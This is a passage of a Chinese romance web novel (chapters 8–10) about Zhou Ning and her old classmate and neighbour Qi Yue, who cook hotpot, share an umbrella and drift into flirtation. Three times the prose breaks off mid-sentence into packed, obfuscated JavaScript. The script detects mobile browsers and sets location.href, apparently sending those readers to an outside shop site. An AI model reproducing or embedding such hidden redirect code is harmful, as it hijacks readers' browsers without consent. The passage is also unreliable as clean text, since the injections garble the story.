“是很可惜。”祁越耸耸肩,将酸奶放回货架。 “不过,”他停顿半晌,扭头看向她,“以后时间还很长,不是吗?” 周柠愣在原地。 不等她反应,祁越立刻跳转话题,“底料要换吗?家里的底料很辣。” 家里的? 周柠没过分抠字眼,疑问也只是在脑袋里过了一遍就被抛远。 作为吃辣ip土生土长人员,周柠拍拍胸脯自信道:“不用换,我超能吃辣。” 起初她还十分紧绷客气,但看祁越这样松弛,她干脆也暴露本性了,甚至在水池旁玩起大龙虾。 “我们的锅好像煮不下。”她想了想,“还是下次吧!” 等说完后,她才反应过来自己竟然这么自然地说了“我们”还说了“下次”。 祁越挑眉,“好啊,下次。” 周柠若无其事别开脸,往下一个区域走。她可不希望让祁越误解成自己迫不及待想要跟他聚餐。 出来时天色已经变暗。 天气预报不准,居然下雨了。虽然还不大,但有下大的趋势。 买的东西太多,周柠留下来看守,祁越折回去买伞。 “只买了一把吗?”周柠问。 “雨下得突然,买伞的人很多,供不应求。”祁越说着把伞撑开,“我选了把伞面大的,够遮两个人。” 伞面的确很大,但想到接下来的路程两个人都要躲在一把伞下,周柠有些不太习惯。 她还在犹豫要不要自己再回去买一把,祁越已经把伞递过来,“我抱东西,你来撑伞吧。” 风越刮越大,雨丝吹在脸上冰冰凉凉。 路灯已经全部亮起,再拖下去会很晚,而且雨下大的话回去也很麻烦。周柠没再迟疑,接过伞高高举在两人中间。 夏天快要结束,进入初秋后温度骤降,夹杂着雨水的风吹进脖子里已经有些冷了。但男生却像个火炉,两相对比,温差更加明显。 被温热的气息侵袭,周柠往右挪了一小步。 “周柠,你别光顾着自己呀,站过来点,我被雨淋到了。”祁越忽然玩笑着说,语气细细听来还有些委屈。 被发现了,周柠大囧,只好挪回去。 好奇怪,刚才伞明明没动,只是稍微挪动了身子,为什么会淋到雨。难道是风? 风确实越吹越大,伞被吹歪了,周柠用两只手握住,不小心撞在祁越身上。 “风好大呀。”祁越幽幽感慨。 “……”周柠站直身体,耳根莫名其妙开始发烧,“是挺大的。” 即使在感情方面她向来迟钝,但现在,也不得不承认两人间的氛围有些微妙。 她从来没想过跟老同学重逢时感情升温得能这么迅速,明明重逢到现在才不过二十四小时,却已经能共撑一把伞回同一个地方,还要一起煮火锅吃。 怎么想都觉得这是魔幻现实主义。 而且她自认为高中时跟祁越交情并不算太深,至少比不上一些现在已经只剩下朋友圈点赞交情的女同学。 因不做同桌而与祁越生疏后,她虽然觉得有些遗憾,但也没太过介怀,反正人生来来往往,最终还是一个人。 祁越朋友很多,三五成群,肯定不缺她这一个。他们只是因为班级安排,所以才短暂地凑在一起当同桌,没什么特殊。 但祁越似乎并不这样想。 8. chapter(08) 凉风在耳旁呼啸,头脑变得异常清醒,周柠回想起一些早已在记忆中模糊不清的画面。 高三下学期过半,祁越返校上课。 他身边永远不缺人,一下课就被班里人如众星捧月般簇拥着。 周柠搁下笔,看着聚集在一起的一群人开始放空。 高一的时候她觉得那些簇拥的人是迫于不良少年的淫威,但后来,她觉得完全是因为祁越自身的魅力。 他外放,她内敛,本来很互补。 但他太过耀眼,光是接近就会刺得人眼睛疼。 祁越跟她绝非同类,差距就像猎鹰和乌龟那么大。 倒不是说猎鹰一定比乌龟好,只是每个物种都有自己的生活方式而已。 与其硬凑在一起,不如保持距离。 放空结束,刚纠正完一套英语试卷的错误,周柠收拾好心情准备开始沉浸式刷理综真题卷。 可祁越却朝她看了过来。然后六七双眼睛跟着祁越的目光一起朝她看了过来。 要不要说些什么? 他偏着头,眉眼如炬,似乎在等她回复。 该说些什么呢? 之前已经很久在路上遇到装没看见了,即使看见也没打招呼。 会不会是她自作多情,万一看的不是她呢?到时候多尴尬。 做数学题的时候cpu都没转得这么快,周柠木在原地。 幸好这时有人来救她。 李依依在门口喊,“周柠,体育课,打排球,去吗?” 学校觉得高三学生更需要运动,所以体育课没停,学生可以自主选择上自习还是去器材室借器材上体育课。 家里给的压力很大,学校周六也开始补课,即使每周只能在家待周六的晚上和周日的上午,家里也不再允许她使用智能机,害怕她因为手机影响高考成绩。 在紧张的氛围下,她逼自己也逼得极狠,体育课也不会下楼。 但这回,她非得答应不可了。 “要去的,等我!”周柠立刻丢下笔。 李依依神色兴奋,显然十分意外,连忙跟旁边人说,“找到人啦!” 周柠跟逃似的跑到李依依旁边。 李依依挽着她,却朝祁越挥手,笑着打趣:“人我带走了哈。” 周柠:? 不明所以,也不想弄清,她不想考虑除了高考以外的任何事情。 到器材室,李依依忽然说,“祁越刚才眼珠跟着你转过来的,我还以为你至少会跟他打招呼。” “是嘛,”周柠温吞说,“我只看见你了。” “哈哈哈,”李依依笑着把排球抛到她怀里,“这话别让祁越听到,他眼睛长头顶上的,得气死。” 这个世界的诡异之处在于,越怕什么越来什么。 体育课结束,去器材室还排球的时候正好碰到祁越站在门口。 不知道他站门口做什么,手里没拿东西,肯定不是来还器材。 躲不过了,她确定以及肯定祁越在看她。 “嗨。”周柠小声打招呼。 “我还以为你又会当没看见呢。”祁越不咸不淡地说。也不知是在开玩笑还是真的在生气。 把话摊开挑明,戳破最后一层遮羞布,周柠脚趾地下工程无比壮观。 总不能说是真当没看见,只能硬着头皮狡辩,“近视了,没戴眼镜,方圆百里,人畜不分。” 祁越挑眉,长腿一迈站定在她面前,弯腰靠近,“那刚才怎么看见的?” 周柠觉得头顶的太阳更刺眼了,低着头按排球,“额,我以为是只狗。” “……”祁越气笑了,“拐着弯骂我?” “没有,”周柠自顾自地从他旁边走过,将气排球丢进框中才转身朝他比划,“你这个体型,我总不能说猫吧?” 她吞了吞唾沫,继续淡定道:“要是在学校遇到这么大只的猫,我就该让警察来抓保护动物了。” 祁越看着她噗嗤一笑,“理由还挺严谨。” “那你信不信?” “信啊。” 远处,李依依朝她招手,“喂——要上课了,你们俩聊吧,我就不等你了哦。” “等等我,”她也朝李依依挥手,“马上就来。” 这时,她看向祁越,“我先走了。” 顿了顿,她又补充,“你好久没来上课,高考加油。” 说完周柠又觉得多余,那场所谓决定人生关键点的考试祁越或许根本不在乎,他又不是过独木桥的一员。 “嗯,你也加油。我不打扰你了。”祁越说。 周柠:“什么打扰?” 祁越:“我是说上课。” 周柠:“哦。” 祁越:“我也要上课,走了。” 后来从那天到高考结束,他们都没有说过一句话。 高考后,周柠终于能在家庭法律中合法拥有智能手机使用权。毕业合照那天,她才终于被拉进企鹅班级群。 也是那晚,祁越通过班级群发来好友申请。 她点了同意,两人正式成为企鹅动态点赞之交。 毕业合照没几天,祁越落地英格兰,她点赞了那条动态。 拿到大学通知书后,她罕见地发了动态,第一个点赞的是祁越。 暑假那段时间,祁越经常发动态,大多是些生活状况,她也一一点赞。 但祁越企鹅号的朋友貌似不太多,每次点赞都只有她一个。 当然,也有可能是她看得早,毕竟正值暑假,企鹅动态圈发动态的人太多,旅游啊,驾校啊,官宣啊,五花八门。看过一遍后懒得倒转回去再看一遍。 再后来大学刚入校被盗号,企鹅号不常用,她就索性注销,却因为漏掉给祁越发微信二维码名片,彻底断联。 …… “周柠。” 她听到祁越喊,思绪被拉回夜雨淅淅沥沥的现实。 “嗯?” “别发呆,”祁越继续说,“把伞往右遮一点,雨从右边飘进来要把东西打湿了。” “哦,好。”她连忙专心撑伞。 等进屋时开灯一看,东西没打湿,她没湿,祁越倒是湿了大半边身子。 -- 铁锅烧热倒油,葱姜蒜爆香,加洋葱,放底料继续翻炒,然后加一点点醪糟,再加水等待煮沸。 祁大厨掌勺,周柠就在一旁打下手。等弄完所有食材坐上桌时,已经接近八点。 雨下得更大,风刮得更狂,气象台显示今夜有暴风雨,提醒市民关好门窗。 果不其然,闪电照进来了,亮得像有哪位道长在此地渡劫。豆大的雨滴砸在玻璃窗上噼啪乱响,周柠望着窗户发呆。 这天气应该不太好点外卖。 椰子跑过来用嘴叼着窗帘拉上,然后哒哒跑到主人身边求夸奖。 周柠嘴角不由勾起微笑,顺着萨摩耶的路径看过去,被雨淋湿后祁越换了套居家的衣服,正坐在桌前招呼她快点过去吃饭。 祁越在她这个客人面前穿得也太没距离感了!这样的状态让她有种自己不是来做客,而是跟祁越本就住在一起的感觉。 咕嘟咕嘟,火锅煮开了,香气四溢。 周柠把鱼丸丢进锅里,等浮起来后趁热慢慢吃进嘴里。鱼丸细腻弹牙,在底料里滚过一遍,口味层次更加丰富。不由让人幸福地眯起眼。 她从初中就开始住校,工作时也是整租独居,早已习惯边界感拉满独自生活。但现在,她忽然觉得,屋里有两个人其实也不错。 如果没有这个曾经是同学的邻居能迅速打成一片,今晚大概只能吃泡面了。 但有一点不好,太安静了。 虽然温馨,但两人都没说话,显得冷场。 才重逢,周柠还有些局促。她总觉得应该说些什么,才能显得两人相处融洽,不至于干巴巴地坐着吃饭。 可昨天,已经把重逢的老同学该聊的话题聊完了。 现在还有什么好聊的呢?周柠绞尽脑汁想话题。 “你之前有跟我房东见过面吗?”她温吞地问,“就是前邻居。” 祁越:“没有。” 周柠:“哦。” 周柠:“他是李依依的朋友。李依依你记得吧。” 祁越:“记得。” 周柠:“记得就好。” 祁越挑眉,颇为警惕问道:“李依依怎么了?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13159983|138691||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 周柠:“啊,她没怎么,我就是问问你记不记得。” 祁越:“哦。” 又沉默一阵,椰子在地上滚了几圈滚到周柠脚边。 周柠继续没话找话,“快到中秋了,今年国庆跟中秋放假好像又是连在一起的,又要调休。” 祁越:“你看眼日历,肯定没连在一起。” 周柠:“哦,好像是没连在一起。” “……” “……” 周柠想不出该说些什么了。 他肯定会觉得我很寡淡无趣。 滴答滴答,时钟在转。 咕噜咕噜,锅里在冒泡泡。 嘿咻嘿咻,椰子在摇尾巴。 她还在发愁,却听到祁越憋笑的声音。 笑啥呀,周柠忽然不知所措。 “还真把我当甲方客户啦?”祁越终于没忍住笑出声,水亮的眼睛看向她,“吃饭而已,不用刻意找话题。憋得脸都红了。” 贴脸开大。 周柠尴尬得不行,捧着脸,小声说,“肯定是辣的。” “来,尝尝这个,响铃虾滑卷。”祁越说着将从番茄锅里烫好的响铃虾滑卷夹进她碗里。 这个番茄锅是祁越自己调的,本来还觉得会没味道,但其实番茄味很浓郁,口感层次也很丰富。响铃卷吸满汤汁,包裹着鲜嫩的鱼籽虾滑。 “好吃吧!” 周柠星星眼,疯狂点头。 祁越得意道:“那几年英区牢也不是白蹲的。” 刚才不自在的感觉瞬间烟消云散了,两人有一搭没一搭地聊着天。其实只要跨过破冰期,跟祁越相处都会觉得舒适。这一切发展得太过自然,周柠不禁觉得梦幻。 聊到后来,祁越嗓子哑了,拧开瓶冰牛奶。 被辣成这样,难怪之前在超市问要不要重新买底料。原来是自己不太能吃辣。 周柠笑他,“你作为C市人居然怕辣!” “不怕,只是反应有点大,”祁越嘴硬道,“这叫又爱又恨。” 或许换个说法也行——又菜又爱玩。 大概是错觉,周柠发现此刻祁越低哑的嗓音听上去比平常更加性|感。 她嗜辣如命,所以这个底料虽然辣,弄得她也在擦鼻涕,但对她而言也还在可以忍受的范围内。 祁越就不止流鼻涕了。 嘴唇红红的,眼周也红红的,生理性泪水哗啦啦地流下来。 简直是仙男落泪。当初的酷哥一去不复返。 周柠没见过祁越这样子。 才重逢没多久,她就已经解锁出不同的祁越卡牌。 这张是SSR卡牌吗?此游戏新手大礼包丰富得让人害怕。 他们的距离好像又近了些,周柠忽然生出一种想要再多了解他一些的冲动。 不能一直盯着他看,不能表现得太过兴奋,周柠想,不然他肯定会觉得我是变态。 -- 回到出租屋,空荡荡的房子显得有点冷清。 周柠喜欢这种冷清,但因为刚从热闹中抽离,她又不禁开始怀念那分热闹。 啊,你变了你变了,你不再是那个喜欢下雨天独自看雨的文艺少女了! 她趴在床上滚了三圈,拿起枕头压在后脑勺上。 手机震动,点开支付宝一看——祁越向你转账20000 周柠:? 她立刻发消息核对。之前在超市祁越买了几瓶牛奶,为图省事她就一起付了。什么金贵的牛奶能卖到两万。 周柠:[你转了两万,但我一共才付了不到一千。] 祁越很快回复:[哦,多按了一个零。] 就算多按了一个零也是两千啊!啊啊啊跟这群公子哥拼了! “……”周柠:[有小票,我算完帐给你转回来。] 祁越:[没关系,可以慢慢用。以后出去消费你付钱就好了。] 等等,以后出去消费?他又说以后。 但思绪太过混乱,周柠没把注意力放到以后上。 周柠:[为什么要把钱给我付?] 祁越:[这样会显得你比较有面子。] 周柠:“……” 9. chapter(09) 周柠觉得最近的生活含“祁”量过高。 嗐,都怪她当初赞同了祁越提出的两个人做饭更方便的说法。 菜是一起买的,晚饭是一起吃的,电影是一起看的,狗是一起遛的。要不是有洗碗机,估计还得一起洗碗。 这天,阳光明媚得透进窗晒屁股,她明显起晚了,叼了片面包急冲冲出门,正好遇到祁越开门。 对视三秒,她用眼神告知祁越自己很急,来不及跟你说那浪费时间又无意义的早上好了!然后果断转身冲向电梯。 天杀的,电梯还要等! 祁越慢悠悠走到她身旁。 “闹钟没响,十点上班呢。”周柠哭丧道。 “九点五十三二十七秒,”祁越看了眼手表,“公司在哪儿?现在不好打车,我送你。” 电梯来了。 “不用,”周柠走进去,“公司不打卡来着。” “最少迟到半小时,就算不打卡也很明显了。”祁越跟在她身后也走进电梯,玩笑着追问,“你确定要拒绝邻居善意的帮助吗?” 确实太过明显,虽然公司管理松弛,但才上班不到一周就迟到这么长时间,总归不太好。 “……”周柠抓住救命稻草,“怎么送呀?你开车吗?” “嗯,开车。”祁越按下-1按钮。 但站在车前她就后悔了。 之前不知道,这车是那种开在马路上嗡嗡响,嘎嘎拉风的,赛、车、摩、托、车! 带上头盔周柠手都不知道该往哪儿放,只敢先将搭在他肩上。 “抱紧。”祁越说。 “报什么警?”周柠四处张望,地下停车库也没保安巡逻,“我们都戴了头盔,应该是符合交规的。” 她听到祁越轻笑的声音,他慢悠悠地戴着手套,也没回答她的问题。 戴好手套,祁越捉住搭在他肩上的手往下拉,直接按在腰上。 周柠一惊。 “不想我们两个都出事故的话,把手放在这里。”祁越拍了拍她的手背,“抱紧。” 小命都绑在驾驶员和这辆摩托车上,周柠只好乖乖听话。 “另一只手也要抱紧吗?” “你想得美。” “……” 祁越又捉住她的另一只手,“这只手撑在油箱上,头靠侧面,然后身体尽量贴近我后背。” 他说得很专业,语气坚定得像要入党,以至于让周柠赶紧掐灭那不合时宜冒出来的微妙心思。 抱着祁越的腰,周柠总觉得不自在。 他应该经常锻炼,光是一只手抱着,就能明显感觉到很有力气。 周柠哪儿敢乱动,环在腰上的手,僵硬得像块木头。 而且祁越身上火气好旺啊,光贴着都感觉体内的寒气散了大半。 但抱着腰还是觉得不自在,心率飙升太快,对身体健康影响不好。 这腰无福消受。 发车前,周柠轻轻问:“能两只手都撑油箱吗?” “这样很累,你的手会酸。” “没事的,我不累。”周柠将抱在祁越腰上那只手撑到油箱上。 “不乐意抱我啊。” “也不是。”周柠停顿下来开始思考。 总不能直接说不自在,那多没礼貌。 思忖半晌,她说出一句让她后悔到想扇自己巴掌的绝句——“主要是怕你觉得我占便宜。” 周柠啊周柠,你鬼迷心窍! 她还在心里抓狂,就听祁越玩笑道:“没关系,我比较大方。” 然后祁越就捉住她才撑上油箱的手,重新按回腰间。 周柠下意识反问:“你对所有人都大方吗?” “不,只对你。” 周柠舌头打结,“因为我有老同学和新邻居的双重buff?” 祁越没说话,也许是发车的声音太响把她盖过了,也许是把疑问语气听成陈述语气,然后默认。 总之,听到问题故意不回答的情况被她排除在外。 一路上,要迟到的烦恼被她抛到脑后。 俊男靓女,加上机车炫酷,大摇大摆地开在路上很难不让人多看两眼。 她需要花更多的精力来解决因为众目睽睽而感到尴尬的情绪。如果现在有只能让她钻进去的乌龟壳,她一定会很快乐。可惜没有。 不要看我。 不——要——看——我—— 车快点开,赶紧到公司躲起来。 周柠缩在头盔里,闭眼,抱着祁越腰上那只手攥紧他的衣裳。 都当两年社畜了,居然还能干出这么年轻刺激有活力的事情。 周柠觉得像是有人撬开棺材板把她的骷髅尸体拉出来跳舞。然后,因为生命活力注入过猛,她的骷髅尸体,散、架、了! 好丢人啊…… 好爽啊…… 两种感觉不断在她脑子里打架。 风驰电掣,机车很快开到写字楼下。一路上祁越甚至没看导航。周柠惊讶于他对这片区域的熟悉程度。 希望不要碰到同事,更不要碰到上司。她在心里祷告。 到工位后周柠给祁越发消息。 周柠:[安全着陆。] 周柠:[没被老板发现哈哈哈。] 秒回。 祁越:[也许是老板睁一只眼,闭一只眼。] 周柠:[不,是我敲电子木鱼的功劳。] 祁越:[电子木鱼?] 周柠:[对啊,我天天带薪敲。] 周柠:[多攒些功德没坏处,总有用得上的一天。] 祁越:[你说得对,我也多敲敲。] 刘启明进来送资料的时候看到自家向来冷面无情的老板此时嘴角正挂着诡异的微笑,捏着笔在平板上不停点点点。 中邪了? 卧靠,孩怕。 刘启明小心翼翼地走过去,“你在干嘛?” 祁越:“敲电子木鱼啊。” 刘启明:“敲这干嘛?” 祁越:“攒功德。” 刘启明冷笑:“你是得多攒攒。” 祁越:“你也多敲敲。” 刘启明幸灾乐祸,“有女朋友的人功德圆满,不需要敲。您自个儿慢慢修行吧。” 祁越:“……”继续敲。 笃笃笃笃笃笃笃笃笃笃笃笃笃笃笃笃—— 刘启明缩头缩脑开溜。 这边周柠放下手机颇为懊恼地抓了抓头发,开始反思自己最近对祁越的分享欲是否太过浓厚。 一起买菜做饭吃饭遛狗看电影也就算了,为什么连敲电子木鱼这种事都要跟他说? 秉承着距离产生美的原则,周柠接下来几天就跟打了鸡血一样,每天按时起床,提前十分钟到公司,让祁越再也没机会骑着那无敌拉风的摩托车载她上班。 直觉告诉她,那腰要是多抱几次,肯定会出事。早就不戴红领巾了,她可不敢保证自己能评选上道德模范标兵。 到时候破坏了纯洁无瑕的同学情谊,那相处起来该多尴尬。 周柠不禁开始烦恼,临近周末,难道还要跟祁越一起吃早中晚饭?邻居做到这份上,也是史无前例。 她决定先从这段跟烟雾弹一样混乱的关系中抽离,回爸妈家待两天。 距离产生美同样适用于父母,回去的第一个晚上吃的大闸蟹。秋天的蟹正是肥美时。 周柠有个绝技,能把吃完的螃蟹再原样拼回去。 她拍照发送,向祁越展示了这个绝技。 又是秒回。 对方发来一张猪猪侠惊叹表情包。 祁越:[周老师] 祁越:[回来吗?] 祁越:[我买好蟹,等你现场教学。] 看着这只张大嘴巴的猪猪侠表情包,周柠的嘴巴也跟这只猪张得一样大,忍不住笑出声。 回复道:[你居然会用这种表情包。] 祁越:[你觉得我该用哪种?] 要么不用,要么最多用微信原带的表情。 但周柠觉得太武断,还是回复:[不清楚。] 祁越:[多聊天就清楚了。] 唔,多聊天不仅能弄清楚祁越爱用什么表情包,还能锻炼笑肌。 周柠赶紧用手背揉揉脸,结果一抬头正好对上二老犀利的眼神。 “咳咳,”周柠心虚道,“吃饭呀,都看我干嘛。” 爸爸率先发起进攻,“谈恋爱了。百分百。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13159984|138691||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “没有。” “那你跟谁聊天?龇着个大牙在那儿乐。” “我刷评论区呢,刷到了好笑的笑话。你要听吗?” “说来听听。” “嘿,我不讲。”周柠撬开一只蟹壳埋头剥蟹。 妈妈接住爸爸的接力棒,继续进攻,“这个年纪,可以谈了。” 周柠严防死守,“真没有。” 妈妈:“可以有。” 周柠:“可以有不等于就能有。” “……” “……” 换话题,吃饭。 她算是有吗?没有吧…… 她又从头到尾认真想了一遍。 对的,没有,确实没有。 但最近对祁越的分享欲确实越来越重了。 所以他们是……嗯,聊天搭子+饭搭子。 手机震动,祁越发来一张照片。 西红柿鸡蛋面,旁边露出半截笔记本电脑键盘,看上去在赶时间办公。 祁越:[晚饭。] 祁越:[一个人随便吃点。] 然后他又发来一段萨摩耶犬用前爪扒拉空碗的视频。 祁越:[椰子已经吃完了。] 可怜巴巴的人,可怜巴巴的狗。而自己恰好是那个“抛夫弃子”去吃大鱼大肉的坏女人。 ——原谅她用“抛夫弃子”这个词,第一直觉冒出这个词时她也被自己的强悍的联想能力吓了一跳。 想起之前发过去的大闸蟹,身为饭搭子跑路就算了,还在别人吃不饱饭的时候吧唧嘴,她觉得自己真是该死。 于是悬崖勒马道:[我周日就回。] 但周日这天刚睡醒,周柠突然得知一个很不妙的消息。 她的房东发了新朋友圈。 大致内容是NetLight公司最近新项目完美收官,给每个参与的员工发奖金庆祝。 好巧不巧,NetLight恰好是她的新公司。 所以,能发奖金,这个房东起码是公司高管。 疯狂抓头发,周柠有些崩溃。 她是个边界感很强的人,同事就是同事,领导就是领导,互相尊重互相合作,一点都不想牵扯出除工作以外的事。 而现在,这个疑似公司高管的家伙成了她的房东。 世界上怎么会有这么巧的事?隐隐约约觉得有哪里不对劲。 内耗完毕,周柠决定开始调查。打开绿泡泡点击租房中介李依依进入她的聊天框。 周柠:[你知道那个养仙人球的朋友在哪儿上班吗?] 李依依:[不知道。] 对面停顿半晌,打字速度明显变快,跟武装机关枪的豌豆射手似的,噼里啪啦吐出一连串消息泡泡攻击。 李依依:[这个没必要知道吧。] 李依依:[为什么突然问这个?] 李依依:[话说] 李依依:[我还不知道你在哪家公司上班呢。] 李依依:[你也不知道我的。] 普通僵尸小周瞬间被打趴下。 说得也是,世界上巧合的事情太多了,也不差她这一桩。 周柠等对面不再弹出消息后打字道:[我又得搬家了。] 李依依:[?] 李依依:[为啥这么急呀?明明上周才搬过去。] 周柠:[你的那个养仙人球的朋友,可能是我的上司或者老板。我们都在NetLight。] 李依依:[那啥,你等等。] 周柠:[不,你等等,先别走。] 周柠:[不要告诉你朋友现在住他房子的是手下员工,我还想在公司混呢。] 李依依:[那必然。] 李依依急匆匆点进祁越聊天框拨打微信电话,“小周警官要开始查案了,你,好自为之吧。” 祁越只是轻笑,“她还有这个称呼吗?” 也对,有这个称呼不奇怪,她爱看推理小说和刑侦剧。 小、周、警、官,祁越慢慢鉴赏着这个新称呼,眉眼笑意更甚。 小周警官实在消极怠工,竟然放任暗恋犯潜逃九年才开始行动。 哎,只能多露出一点马脚,协助她抓捕归案喽。 10. chapter(10) 墙上的秒针旋转三圈,周柠扒拉着碗里的米粒看上去心事重重。 “冰箱里没有菜了,明天下班我们去买点回来吧。” 祁越的声音将她的思绪拉回。 “啊,”她抬头,对上那双似笑非笑的桃花眼,讷讷道:“好,还是老地方。” 哎,怎么又顺口答应了。 秒针滴答滴答又转一圈,周柠终于下定决心开口。 “那个……祁越……” 她说得很小声,嗫嚅着嘴唇几乎没开口,对面大概没听见。 “等我一下。”祁越起身,去酒柜取来一瓶果汁气泡酒,“尝尝这个。” 周柠:“我可能要搬走了。”这回她说得很大声。 祁越倒酒的手一顿。 趴在地上的椰子警觉地摇了摇尾巴,站起身跑到周柠脚边蹭。 “汪!”椰子对此发表重要讲话。 大大小小的气泡吸附在酒杯玻璃壁,随着放置在桌面上时的震动上升,破碎,散发出蜜桃的清香。她很喜欢桃子的味道。 祁越:“才搬来一周就要搬走?违约金会很贵吧。” “我租的房比较特殊,不是押一付三那种,也没签合同。甚至都不需要付房租,只需要交水电费。” 祁越笑道:“这你都敢住。” 打趣的玩笑话瞬间让气氛缓和不少。 果酒度数不高,入口清甜,果香馥郁,细碎的气泡在口腔内破开,周柠感觉整个人都要变成颗桃子。 “好喝,”她满足地放下酒杯,“虽然听上去的确很不可思议,但这经很信任的朋友介绍,所以也能放心。我之前跟你说过的,李依依。房东是李依依的朋友,所以才优惠很多。” “既然放心,为什么要搬走?” “因为……”周柠叹气,将发现房东极有可能是老板事情从头到尾说了一遍。 “总之,我不想破坏跟老板纯粹的金钱交易。” “确实。”祁越点头表示赞同。 周柠有些微醺,在只有两个人和一条狗的空间里变得健谈起来。 她接着摇头晃脑地说,“而且,这个老板应该是只很狡猾的老狐狸。” “嗯?”祁越挑眉,“你前段时间还说人好,变脸真快。” “好是能双休,不加班,福利好。上班半个月我都没见老板人影,哪知道他好不好。” “不知道好不好,怎么能断定他坏不坏?” “老板这种生物能有什么好东西。” 祁越:“……” “前东家砍业务线,整条业务线的员工都裁了,我很不幸是其中一员。回来后我就想找个温和点的工作先缓缓,等缓过劲来再找时间跑路。有个成语叫什么来着?” “骑驴找马。”祁越懒散道。 “诶对,就是这个意思。” “……” “这家公司才刚成立三年,规模一般,现在大环境不好,大公司尚且在裁员,小公司境遇就更危险了。但它给的福利又很好,我猜八成是老板画的大饼。反正闲着也是闲着,之前007还有优化补偿存了点小金库,就进去打假呗,假的我就立马掀桌曝光,为人民服务嘛,顺便看看它什么时候倒闭。” 祁越:“……” “好吧我承认自己有点恶趣味。”顿了顿,周柠虚着眼睛做出失去泡菜国市场的手势,“但也就一点点,一点点。” 她不由开始感慨,“结果福利还真不是假的,公司氛围也不错,老板神龙见首不见尾不需要当面对接,周围同事也很好相处。虽然目前公司小,但发展前景却很优秀,搞得我都想一直留下来了。” 祁越:“既然这么好,为什么还说老板是老狐狸?” “能开公司还能蒸蒸日上的都是人精,人精就是老狐狸!我才不要让老板当房东,双重buff,双重压榨!在劳动法的庇护下打工拿钱不好吗?” 祁越点头表示赞成。 桃子味的果汁气泡酒很好入口,周柠忍不住咕噜咕噜喝完又倒满,内心感叹李依依强悍的社交能力,真是什么朋友都能交上。 她又觉得刚才跟祁越说得太多。为什么现在能这么自然地告诉祁越这些事呢?而且说完后也没什么顾忌。他们之间的边界好像正在慢慢地变得模糊了。 还是不说话喝会儿酒吧。 喝得太猛,一杯下去头竟然有些晕。 “再好喝也不喝了,”周柠将酒杯推到祁越面前,“你这酒,度数明明不高,怎么还这么上头。” “我也没想到你这么不能喝。”祁越有些无奈,“一共才喝了三杯多一点。” “所以,对面那套房我肯定不能再住了。”周柠话变得格外多,控制不住地想说话,“如果让他知道,房客是员工,我肯定会被他玩弄于股掌之间。那也太可怕了!” “是啊,”祁越憋着笑附和,“好可怕。” “嗯……”她迷迷糊糊应着,“所以啊,我抛下你也是有苦衷的,你能理解,真的非常善良。” 后劲上来,脑袋发木,她垂直将头磕在桌上闭目养神。 笃笃笃——祁越轻轻敲桌。 “干嘛?”周柠不满道,“我在休息。” “这里不是休息的地方。” “我知道,就眯一会儿。别小气嘛。” 似乎是因为被甜甜的果酒浸润过,周柠此刻的声音也变得格外甜腻,语气就像是在撒娇一般。 但她显然没意识到这点,继续黏黏糊糊道:“好多次你都问我头磕在桌上疼不疼,我说不疼,这次你还没问,我先说了,这次也不疼。” 祁越一怔,沉默了,唇角还挂着止不住荡开的笑意。 起身慢慢走过去,似乎怕吵醒她般,凑到她耳边用气声说:“周柠,要不搬过来吧。” “嗯?你说什么?我没听清。”她猛然抬头,将耳朵凑到他唇边,差一点贴上。 祁越往后一躲,“周柠,搬过来吧。” 周柠脑袋有些迟钝,看向他,“为什么要搬过来呀?那不就是要跟你睡一张床了吗?你睡觉抢不抢被子?没几个月就入冬了,抢被子的话我可不干。” “不抢。” “不抢啊,好,我跟你睡!” “嗯?”祁越有些想笑,“周柠,你酒驾出事故了知道吗?” “但今晚不行。”周柠自顾自地说,“我还没把被子抱过来,所以得先回去。” “好困,”她撑着桌面起身,“我要去睡觉了。” “肇事逃逸?罪加一等。”祁越扶着她回对面房门。 “没有逃!”周柠认真道,“酒驾出事故更要负责。我才不是那种没道德的人。所以,我肯定会搬过来。” “我开玩笑的,等你清醒后再考虑吧。” “尸体不准说话!” “我又成尸体啦。” “对啊,我撞的嘛。但你现在既会说话又能走路,应该变异成僵尸了。” 周柠倒在床上抱紧枕头,“不过我不嫌弃你的。你如果不咬人,我就直接搬过来。咬人的话,我就穿防护服,再搬过来。” “我咬人啊,但不传染。” “哦,不传染的话,也行。就不买防护服了,费钱。” 祁越替她盖好被子,“真该给你录下来。” “录什么啊,我又没断片,第二天醒了肯定记得。放心嘛,我说搬肯定搬。” “好,我记下了,明天跟你对账。” 周柠:OK(比手势.jpg) …… 回来后,祁越看到镜子里的自己,嘴角竟然仍旧上扬。 现在是关键时期,要注意不能面瘫。这才连忙将已经笑得有些僵硬的嘴角拉下来轻轻按摩。 他盯着桌上周柠剩下的半杯酒看了半天。 最后端起酒杯,仰头一饮而尽。 喉珠上下滚动,那接 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13159985|138691||http|test|mini|href|location''.split(''|''),0,{})); () { 